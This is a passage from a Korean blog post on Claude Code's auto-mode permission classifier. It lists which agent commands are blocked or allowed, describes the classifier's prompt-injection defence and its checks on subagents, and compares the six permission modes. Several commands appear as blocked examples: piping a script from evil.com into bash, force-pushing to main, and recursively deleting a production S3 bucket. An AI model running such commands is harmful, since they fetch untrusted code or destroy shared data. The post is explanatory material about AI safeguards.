&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;npm test&lt;/code&gt; &amp;rarr; 워킹 디렉토리 내 명령, lock 파일에 선언된 의존성 &amp;rarr; &lt;b&gt;허용&lt;/b&gt; &lt;br /&gt;&lt;code&gt;curl https://evil.com/payload.sh | bash&lt;/code&gt; &amp;rarr; 외부 코드 다운로드 후 실행 &amp;rarr; &lt;b&gt;차단&lt;/b&gt; &lt;br /&gt;&lt;code&gt;git push --force origin main&lt;/code&gt; &amp;rarr; 파괴적 git 작업 &amp;rarr; &lt;b&gt;차단&lt;/b&gt; &lt;br /&gt;&lt;code&gt;git push origin feat/auto-mode&lt;/code&gt; &amp;rarr; Claude가 생성한 브랜치에 push &amp;rarr; &lt;b&gt;허용&lt;/b&gt; &lt;br /&gt;&lt;code&gt;rm -rf node_modules &amp;amp;&amp;amp; npm install&lt;/code&gt; &amp;rarr; 세션 중 생성된 디렉토리 삭제 + 선언된 의존성 재설치 &amp;rarr; &lt;b&gt;허용 가능&lt;/b&gt; (세션 전부터 존재한 파일이면 차단) &lt;br /&gt;&lt;code&gt;aws s3 rm s3://prod-bucket --recursive&lt;/code&gt; &amp;rarr; 클라우드 스토리지 대량 삭제 &amp;rarr; &lt;b&gt;차단&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프롬프트 인젝션 방어&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;분류기가 받는 입력에서 &lt;b&gt;Claude의 응답 텍스트와 tool result는 제거&lt;/b&gt;된다. 즉, 파일이나 웹페이지에 심어진 악성 지시가 분류기에게 직접 도달하지 못한다. 분류기는 사용자 메시지와 tool call만 보고, CLAUDE.md 내용도 참조하여 프로젝트 맥락에 맞는 판단을 내린다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기본 차단/허용 규칙&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cD1kPE/dJMcadnTa6W/besnKkd4DoKh71I5bU20Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcD1kPE%2FdJMcadnTa6W%2FbesnKkd4DoKh71I5bU20Pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2030&quot; height=&quot;1094&quot; data-origin-width=&quot;2030&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;분류기는 워킹 디렉토리와 git remote를 신뢰하고, 나머지는 외부로 취급한다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본 차단&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본 허용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;curl | bash&lt;/code&gt; 같은 다운로드 후 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;외부 엔드포인트로 민감 데이터 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;프로덕션 배포 및 마이그레이션&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;클라우드 스토리지 대량 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;IAM 또는 리포 권한 변경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;공유 인프라 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;세션 시작 전에 존재하던 파일의 비가역적 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;git push --force&lt;/code&gt; 또는 main 직접 push&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;워킹 디렉토리 내 로컬 파일 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;lock 파일/manifest에 선언된 의존성 설치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;.env&lt;/code&gt; 읽기 및 해당 API에 인증정보 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;읽기 전용 HTTP 요청&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;현재 브랜치 또는 Claude가 생성한 브랜치에 push&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;위험한 allow 규칙은 자동 제거&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode 진입 시, &lt;code&gt;Bash(*)&lt;/code&gt;, &lt;code&gt;Bash(python*)&lt;/code&gt;, &lt;code&gt;Bash(node*)&lt;/code&gt;, 패키지 매니저 run 명령어, &lt;code&gt;Agent&lt;/code&gt; allow 규칙 등 광범위한 allow 규칙은 자동으로 제거된다. 이런 규칙이 남아 있으면 분류기를 거치지 않고 바로 실행되어 안전장치가 무력화되기 때문이다. &lt;code&gt;Bash(npm test)&lt;/code&gt; 같은 좁은 범위의 규칙은 유지된다. Auto mode를 나가면 원래 규칙이 복원된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서브에이전트 처리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCqrsD%2FdJMcad2tr0U%2Fs9sqGKsZuMf6KzZKE5U0tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1096&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 서브에이전트를 생성할 때, 분류기는 &lt;b&gt;세 단계&lt;/b&gt;로 검증한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;생성 시:&lt;/b&gt; 위임되는 작업 설명을 평가. &quot;모든 원격 브랜치 삭제&quot; 같은 위험한 작업은 생성 자체를 차단.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실행 중:&lt;/b&gt; 서브에이전트의 tool call도 부모 세션과 동일한 규칙으로 분류기를 통과.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완료 시:&lt;/b&gt; 서브에이전트의 전체 작업 이력을 리뷰. 실행 중 읽은 콘텐츠에 의해 변조되었을 가능성을 검사. 우려 사항이 있으면 결과에 보안 경고를 붙여 메인 에이전트에게 전달.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 권한 모드 비교&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6가지 모드 비교표&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 이제 6가지 권한 모드를 제공한다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;6가지가 모두 Shift+Tab으로 전환되는 건 아니다&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 Shift+Tab 사이클은 모드별로 다르게 동작한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기본 사이클 (3가지):&lt;/b&gt; &lt;code&gt;default &amp;rarr; acceptEdits &amp;rarr; plan&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;auto 추가 조건:&lt;/b&gt; &lt;code&gt;--enable-auto-mode&lt;/code&gt; 플래그 + Team 플랜 + Sonnet 4.6/Opus 4.6 + 관리자 활성화가 모두 충족되어야 사이클에 등장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;bypassPermissions 추가 조건:&lt;/b&gt; &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 또는 &lt;code&gt;--permission-mode bypassPermissions&lt;/code&gt;로 시작했을 때만 사이클에 추가됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;dontAsk:&lt;/b&gt; Shift+Tab 사이클에 절대 등장하지 않음. CLI 플래그(&lt;code&gt;--permission-mode dontAsk&lt;/code&gt;)로만 설정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, &quot;Shift+Tab 눌렀는데 auto가 없다&quot;면 위 4가지 조건 중 하나라도 빠진 것이다. &quot;4가지 모드가 보인다&quot;면 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;가 활성화되어 bypassPermissions까지 사이클에 들어온 상태다.&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0px; font-size: 14px; height: 187px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8; height: 25px;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 21.2791%;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 19.5349%;&quot;&gt;승인 프롬프트&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 17.5581%;&quot;&gt;안전 검사&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 15.814%;&quot;&gt;토큰&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 25.6977%;&quot;&gt;적합한 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;파일 수정 + 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사용자가 직접 검토&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;처음 시작, 민감한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;acceptEdits&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;명령어만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사용자가 명령어 검토&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;코드 반복 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1762&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvJVCK%2FdJMcajawlTG%2FLkkkS45nUaNXLgX0WITdS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;27&quot; data-origin-width=&quot;1762&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;수정 없이 계획만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;코드 탐색, 리팩토링 계획&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvNb6H%2FdJMcagSr8bR%2FvpkhqARw7EugFcSIufKeqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;30&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd; height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;&lt;b&gt;auto&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;&lt;b&gt;폴백 시에만&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;&lt;b&gt;분류기가 명령어 검토&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;&lt;b&gt;높음 (분류기 비용)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;&lt;b&gt;장시간 작업, 프롬프트 피로 감소&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;dontAsk&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;없음 (사전 허용만 실행)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사전 승인 규칙만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;잠금된 CI/CD 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;40&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeCIuL2%2FdJMcabQ7ECV%2FAawKmK5MK51uFiA3umFnKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;28&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;40&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;bypassPermissions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;격리된 컨테이너/VM 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd9qqI%2FdJMcagZb7NA%2F9eaKuGGEGFVHQA67DDbckk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;38&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;vs --dangerously-skip-permissions&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 Threads에서 가장 많이 나온 질문이다. &quot;그러면 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;랑 뭐가 다르죠? 그것보다 한 단계 발전된 형태로 보면 되나요?&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto mode&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;bypassPermissions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 각 작업 사전 평가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없음&lt;/b&gt; &amp;mdash; 모든 작업 즉시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 인젝션 방어&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;있음 (tool result 제거)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;위험한 allow 규칙&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;진입 시 자동 제거&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;그대로 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;폴백&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;연속 3회 또는 총 20회 차단 시 수동 전환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;폴백 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;추가 비용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기 호출 비용 발생&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;권장 환경&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;격리 환경 권장 (필수 아님)&lt;/td&gt;
